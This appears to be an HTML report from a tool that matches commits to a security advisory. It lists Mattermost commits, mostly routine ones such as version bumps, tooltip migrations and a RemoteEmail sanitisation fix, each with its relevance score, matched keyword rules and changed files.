    + +
    Commit message
    + +
      +
    • +
      Don't modify global variables in TestNoticeValidation (#27591)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/channels/app/product_notices.go + + server/channels/app/product_notices_test.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Bump prepackage Github plugin version to 2.3.0 (#27572) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 00dc08824c7f32d46e6a3284bf74b350448a1526 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: version
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: file
      +
    • + +
    • +
      The commit message references some github issue: 27572
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Bump prepackage Github plugin version to 2.3.0 (#27572)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/Makefile + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [MM-56339] Audit logs: on login add UserId and SessionId to audit's... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 9b2f20210b079abc0065ca7d885ce220a6cb60d5 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: field
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 27446
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [MM-56339] Audit logs: on login add UserId and SessionId to audit's Actor field (#27446) * on login add UserId and SessionId to audit's Actor field to match logout * lint * simplify to add only userId and sessionId * AddToEventActor -> AddUser/SessionToEventActor * fill in missing session data when logging the audit record * why did it bump that? reverting. * make modules-tidy * trigger build * add more context to the comment
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/channels/api4/user_test.go + + server/channels/utils/merge_test.go + + server/channels/web/context.go + + server/go.mod + + server/go.sum + + server/public/go.mod + + server/public/go.sum + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [MM-58004] Update logged fields of users (#26860) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 9f312f48b5567f284a5226d6d6ddc8f6b432c341 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: field
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 26860
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [MM-58004] Update logged fields of users (#26860)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/channels/audit/audit_test.go + + server/public/model/user.go + + server/public/model/user_test.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [MM-58003] Allow setting AdvancedLoggingJSON via mmctl (#27388) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 3513d310af629523f6967e039f788bf1b6d0e2c0 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: allow
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 27388
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [MM-58003] Allow setting AdvancedLoggingJSON via mmctl (#27388)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/cmd/mmctl/commands/config.go + + server/cmd/mmctl/commands/config_test.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Correctly merge plugin configuration on mmctl config patch (#26647)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + bc49f348bf76b685461f7c036f7a7e415443870c +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: configuration
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 26647
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Correctly merge plugin configuration on mmctl config patch (#26647) * Adds a step to the config patch command to merge plugin configurations * Fix linter --------- Co-authored-by: Mattermost Build <build@mattermost.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/cmd/mmctl/commands/config.go + + server/cmd/mmctl/commands/config_test.go + + server/cmd/mmctl/commands/utils.go + + server/cmd/mmctl/commands/utils_test.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + chore: improvements to keycloak local development (#26518) * update... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 4e32da62fa71dc4eae803866e91247aeb45d4e6f +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: file, test
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: file
      +
    • + +
    • +
      The commit message references some github issue: 26518
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      chore: improvements to keycloak local development (#26518) * update keycloak docker image * update realm file with a compatible realm * import realm on start-docker command Since bitnami's image does not support importing directly, the import of the test realm is done in the make file start-docker action * Use official image from quay * updated realm keycloak config * final note about nickname attrib for saml * add admin user * update realm * Updated from master * Updated docs * local typo * use jq for ldap and saml * updated readme
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/Makefile + + server/build/docker-compose.common.yml + + server/build/docker/keycloak/ldap.mmsettings.json + + server/build/docker/keycloak/openid.mmsettings.json + + server/build/docker/keycloak/realm-export.json + + server/build/docker/keycloak/saml.mmsettings.json + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [MM-58443] Migrate tooltips of... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 9f396c9294144114ba182891e6d9c309fc8cf003 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: test
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 27185
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [MM-58443] Migrate tooltips of 'components/global_header/right_controls/saved_posts_button/saved_posts_button.tsx' to WithTooltip (#27185) * add withtooltip handling * add withtooltip handling * placed icon inside tooltip * Update saved_posts_button.tsx * Update saved_posts_button.tsx * Update saved_posts_button.test.tsx.snap * Update saved_posts_button.tsx --------- Co-authored-by: surajanthwal <surajanthwal2010@gmail.com> Co-authored-by: M-ZubairAhmed <m-zubairahmed@protonmail.com> Co-authored-by: Mattermost Build <build@mattermost.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/channels/src/components/global_header/right_controls/saved_posts_button/__snapshots__/saved_posts_button.test.tsx.snap + + webapp/channels/src/components/global_header/right_controls/saved_posts_button/saved_posts_button.tsx + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Revert "Added GetPluginID method and tests (#27281)" (#27540) This... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 6d427cf005e4013f230d3f74c51840ce6cc99efd +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: test
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 27281, 27540
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Revert "Added GetPluginID method and tests (#27281)" (#27540) This reverts commit 4acc4796edb2c1ff93e861b4732c1c758ac76371.
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/public/model/manifest.go + + server/public/model/manifest_test.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Skips flaky test on the remote cluster API (#27547) * Skips flaky... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 3e4d91590fb5268d3ef04166115c91e7aac05fab +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: test
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 27547
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Skips flaky test on the remote cluster API (#27547) * Skips flaky test on the remote cluster API * Adds ticket link to the `t.Skip`
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/channels/api4/remote_cluster_test.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Adds Remote Cluster related API endpoints (#27432) * Adds Remote... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 809ad4f76d8358ec91a0b5dcafe1d92a32233ba2 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: console, test, connection, system
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: time, file, test
      +
    • + +
    • +
      The commit message references some github issue: 27432
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Adds Remote Cluster related API endpoints (#27432) * Adds Remote Cluster related API endpoints New endpoints for the following routes are added: - Get Remote Clusters at `GET /api/v4/remotecluster` - Create Remote Cluster at `POST /api/v4/remotecluster` - Accept Remote Cluster invite at `POST /api/v4/remotecluster/accept_invite` - Generate Remote Cluster invite at `POST /api/v4/remotecluster/{remote_id}/generate_invite` - Get Remote Cluster at `GET /api/v4/remotecluster/{remote_id}` - Patch Remote Cluster at `PATCH /api/v4/remotecluster/{remote_id}` - Delete Remote Cluster at `DELETE /api/v4/remotecluster/{remote_id}` These endpoints are planned to be used from the system console, and gated through the `manage_secure_connections` permission. * Update server/channels/api4/remote_cluster_test.go Co-authored-by: Doug Lauder <wiggin77@warpmail.net> * Fix AppError names --------- Co-authored-by: Doug Lauder <wiggin77@warpmail.net> Co-authored-by: Mattermost Build <build@mattermost.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + api/Makefile + + api/v4/source/definitions.yaml + + api/v4/source/introduction.yaml + + api/v4/source/remoteclusters.yaml + + server/channels/api4/apitestlib.go + + server/channels/api4/remote_cluster.go + + server/channels/api4/remote_cluster_test.go + + server/channels/app/app_iface.go + + server/channels/app/opentracing/opentracing_layer.go + + server/channels/app/platform/shared_channel_notifier.go + + server/channels/app/remote_cluster.go + + server/channels/app/slashcommands/command_remote.go + + server/channels/store/opentracinglayer/opentracinglayer.go + + server/channels/store/retrylayer/retrylayer.go + + server/channels/store/sqlstore/remote_cluster_store.go + + server/channels/store/store.go + + server/channels/store/storetest/mocks/RemoteClusterStore.go + + server/channels/store/storetest/remote_cluster_store.go + + server/channels/store/timerlayer/timerlayer.go + + server/channels/web/params.go + + server/i18n/en.json + + server/platform/services/remotecluster/invitation.go + + server/platform/services/remotecluster/mocks_test.go + + server/platform/services/remotecluster/ping.go + + server/platform/services/remotecluster/sendmsg.go + + server/platform/services/remotecluster/service.go + + server/platform/services/sharedchannel/sync_send.go + + server/public/model/client4.go + + server/public/model/remote_cluster.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [MM-57942] Fix a panic on password is too long (#27449) * return... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + cc5e87ae249b1b4cdc25b44536f1df8a99de1f9e +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: test
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 27449
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [MM-57942] Fix a panic on password is too long (#27449) * return error from bcrypt, handle gracefully; remove dead code * linting * linting * i18n * fix test * fill out translations
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/channels/app/user.go + + server/channels/app/users/password.go + + server/channels/app/users/password_test.go + + server/channels/store/sqlstore/user_store.go + + server/channels/store/storetest/user_store.go + + server/i18n/en.json + + server/public/model/user.go + + server/public/model/user_test.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + MM-56774: Delete file along with bookmark (#27495) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 90534b13cfd394936d14e659a390c971fd739164 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: file
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 27495
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      MM-56774: Delete file along with bookmark (#27495)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/channels/store/sqlstore/channel_bookmark_store.go + + server/channels/store/storetest/channel_bookmark.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [chore] migration of plugin-store (#27506) Plugin store is gradually... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 762ff9b96cd0ff8d80de4015eaee800190b18ba4 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: test
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: file, test
      +
    • + +
    • +
      The commit message references some github issue: 27506
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [chore] migration of plugin-store (#27506) Plugin store is gradually migrated from: - https://plugins-store.test.mattermost.com to - https://plugins.releases.mattermost.com We reflect that change here Note: Currently both CDN's are working as expected, to facilitate the mgiration. Upon succesfull migration, https://plugins-store.test.mattermost.com will be decomissioned
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/Makefile + + server/build/release.mk + + server/cmd/mmctl/commands/plugin_e2e_test.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Sanitize RemoteEmail user prop (#27170) (#27516) Automatic Merge + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: v9.5.8 +
    +
    +
    +
    +
    + + + + SEC_KEYWORDS_IN_MESSAGE + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 068c953393022b34244207435725bfb2a3545853 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message contains some security-related keywords: sanitize
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 27170, 27516
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Sanitize RemoteEmail user prop (#27170) (#27516) Automatic Merge
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/platform/services/sharedchannel/service.go + + server/platform/services/sharedchannel/sync_recv.go + + server/platform/services/sharedchannel/util.go + + server/public/model/shared_channel.go + + server/public/model/user.go + + server/public/model/user_test.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Sanitize RemoteEmail user prop (#27170) (#27512) Automatic Merge + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: v9.10.1 +
    +
    +
    +
    +
    + + + + SEC_KEYWORDS_IN_MESSAGE + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + b7c6a9a9421c50af9a44f648e760d258c9787dc0 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message contains some security-related keywords: sanitize
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 27170, 27512
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Sanitize RemoteEmail user prop (#27170) (#27512) Automatic Merge
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/platform/services/sharedchannel/service.go + + server/platform/services/sharedchannel/sync_recv.go + + server/platform/services/sharedchannel/util.go + + server/public/model/shared_channel.go + + server/public/model/user.go + + server/public/model/user_test.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Sanitize RemoteEmail user prop (#27170) * Sanitize RemoteEmail user... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + SEC_KEYWORDS_IN_MESSAGE + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + b32295e82370bc0425cbb43475d76f9acc895078 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message contains some security-related keywords: sanitized, sanitize
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 27170
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Sanitize RemoteEmail user prop (#27170) * Sanitize RemoteEmail user prop If the server is configured to hide user emails, the "RemoteEmail" user property will be sanitized as well, effectively hiding the real email of remote users. * fix merge conflict --------- Co-authored-by: Doug Lauder <wiggin77@warpmail.net> Co-authored-by: Mattermost Build <build@mattermost.com> (cherry picked from commit 2aff84a72e6515c2e0674c0271ae6a19c4bde5f1)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/platform/services/sharedchannel/service.go + + server/platform/services/sharedchannel/sync_recv.go + + server/platform/services/sharedchannel/util.go + + server/public/model/shared_channel.go + + server/public/model/user.go + + server/public/model/user_test.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update latest patch version to 9.5.8 (#27510) Automatic Merge + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: v9.5.8 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 98e51c9d452a0e9f67e43a6287354ad8c2d3d243 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: version, test
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: version
      +
    • + +
    • +
      The commit message references some github issue: 27510
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update latest patch version to 9.5.8 (#27510) Automatic Merge
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/public/model/version.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update latest patch version to 9.7.7 (#27509) Automatic Merge + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 05b7845bbcd14ccb598da88ed3ae7b52b83512a0 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: version, test
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: version
      +
    • + +
    • +
      The commit message references some github issue: 27509
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update latest patch version to 9.7.7 (#27509) Automatic Merge
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/public/model/version.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update latest patch version to 9.8.3 (#27508) Automatic Merge + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: v9.8.3 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 5de01512cc59d2b57669a3822695276af0aab91f +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: version, test
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: version
      +
    • + +
    • +
      The commit message references some github issue: 27508
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update latest patch version to 9.8.3 (#27508) Automatic Merge
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/public/model/version.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update latest minor version to 9.11.0 (#27496) Automatic Merge + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 8dcd83976618f5e61a6fb3f8beb9307c9f67e730 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: version, test
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: version
      +
    • + +
    • +
      The commit message references some github issue: 27496
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update latest minor version to 9.11.0 (#27496) Automatic Merge
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/public/model/version.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [MM-58509] Migrate tooltips of... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 8b52ac3b8bd5007afb6f85806f03ef27fd80eafb +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: role, console
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: role, console
      +
    • + +
    • +
      The commit message references some github issue: 27242
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [MM-58509] Migrate tooltips of "components/admin_console/user_grid/user_grid_role_dropdown.tsx" to WithTooltip (#27242)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/channels/src/components/admin_console/user_grid/user_grid_role_dropdown.tsx + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [MM-58405] Migrate tooltips of... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + f36eb59f215ef4e81e9541dadfeebd13a5ba6279 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: test
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 27244
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [MM-58405] Migrate tooltips of 'components/announcement_bar/default_announcement_bar/announcement_bar' to WithTooltip (#27244) * Migrate tooltips of 'components/announcement_bar/default_announcement_bar/announcement_bar' to WithTooltip * Review fixes * Review fix * Fix imports * Update snapshots * Test fix --------- Co-authored-by: Mattermost Build <build@mattermost.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/channels/src/components/announcement_bar/__snapshots__/announcement_bar.test.tsx.snap + + webapp/channels/src/components/announcement_bar/default_announcement_bar/announcement_bar.test.tsx + + webapp/channels/src/components/announcement_bar/default_announcement_bar/announcement_bar.tsx + + webapp/channels/src/components/with_tooltip/index.tsx + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update latest patch version to 9.10.1 (#27497) Automatic Merge + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: v9.10.1 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + d9bd84cea89c7cf3d879ed90f6ba1610090367a9 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: version, test
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: version
      +
    • + +
    • +
      The commit message references some github issue: 27497
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update latest patch version to 9.10.1 (#27497) Automatic Merge
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/public/model/version.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + MM-57375: Update to latest minio image (#27475) * test with latest... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 10 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + d20b55bde87f181a50ad97c99270373c9baa0b6f +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: test
      +
    • + +
    • +
      An advisory keyword is contained in the changed files: file
      +
    • + +
    • +
      The commit message references some github issue: 27475
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      MM-57375: Update to latest minio image (#27475) * test with latest minio image * Update the KMS key - Also use latest config settings. The older ones were deprecated.
      +
    • +
    + +
